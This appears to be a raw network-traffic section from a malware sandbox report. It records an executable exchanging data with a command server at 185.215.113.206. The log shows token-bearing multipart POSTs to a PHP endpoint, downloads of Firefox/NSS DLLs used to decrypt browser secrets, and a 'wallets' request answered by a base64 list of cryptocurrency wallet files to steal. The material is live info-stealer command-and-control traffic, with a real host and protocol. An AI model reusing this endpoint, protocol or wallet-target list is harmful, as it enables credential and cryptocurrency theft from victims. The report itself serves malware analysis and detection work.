65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"------KFIJEGCBGIDGHIDHDGCB--
Dec 2, 2024 07:37:38.297769070 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49823	185.215.113.206	80	3604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:37:49.956644058 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="file"------DGCFHIDAKECFHIEBFCGI--
Dec 2, 2024 07:37:51.838620901 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 07:37:52.187707901 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 07:37:52.640145063 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 2, 2024 07:37:52.640163898 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Dec 2, 2024 07:37:52.640974045 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Dec 2, 2024 07:37:52.641032934 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Dec 2, 2024 07:37:52.641043901 CET	248	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Dec 2, 2024 07:37:52.641557932 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Dec 2, 2024 07:37:52.641624928 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Dec 2, 2024 07:37:52.641635895 CET	248	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Dec 2, 2024 07:37:52.642332077 CET	1236	IN	Data Raw: 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 39 f0 73 14 68 03 e0 ff ff e8 3b f6 07 00 83 c4 04 b8 ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 Data Ascii: ]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}
Dec 2, 2024 07:37:52.642395020 CET	1236	IN	Data Raw: f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 f5 66 0f f4 ca 66 0f 70 d2 f5 66 0f f4 d4 66 0f 6f e0 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f Data Ascii: fo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFM
Dec 2, 2024 07:37:52.650054932 CET	248	IN	Data Raw: 4d cc 8b 45 e8 8b 55 ec 01 d0 83 c0 03 0f b6 c0 8b 55 f0 0f b6 14 02 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 07 8b 45 f0 88 14 30 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 Data Ascii: MEUU}47}4E0UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}E
Dec 2, 2024 07:37:54.136357069 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 07:37:54.587835073 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 2, 2024 07:37:55.471739054 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 07:37:55.924679041 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 2, 2024 07:37:56.677772999 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 07:37:57.138705015 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 2, 2024 07:38:00.297349930 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 07:38:00.748997927 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 2, 2024 07:38:01.425801992 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 07:38:01.877998114 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 2, 2024 07:38:02.547854900 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAAAFBKFIECAAKECGC Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 07:38:03.667452097 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 07:38:03.876173019 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="message"wallets------CBGCAFIIECBFIDHIJKFB--
Dec 2, 2024 07:38:04.330205917 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
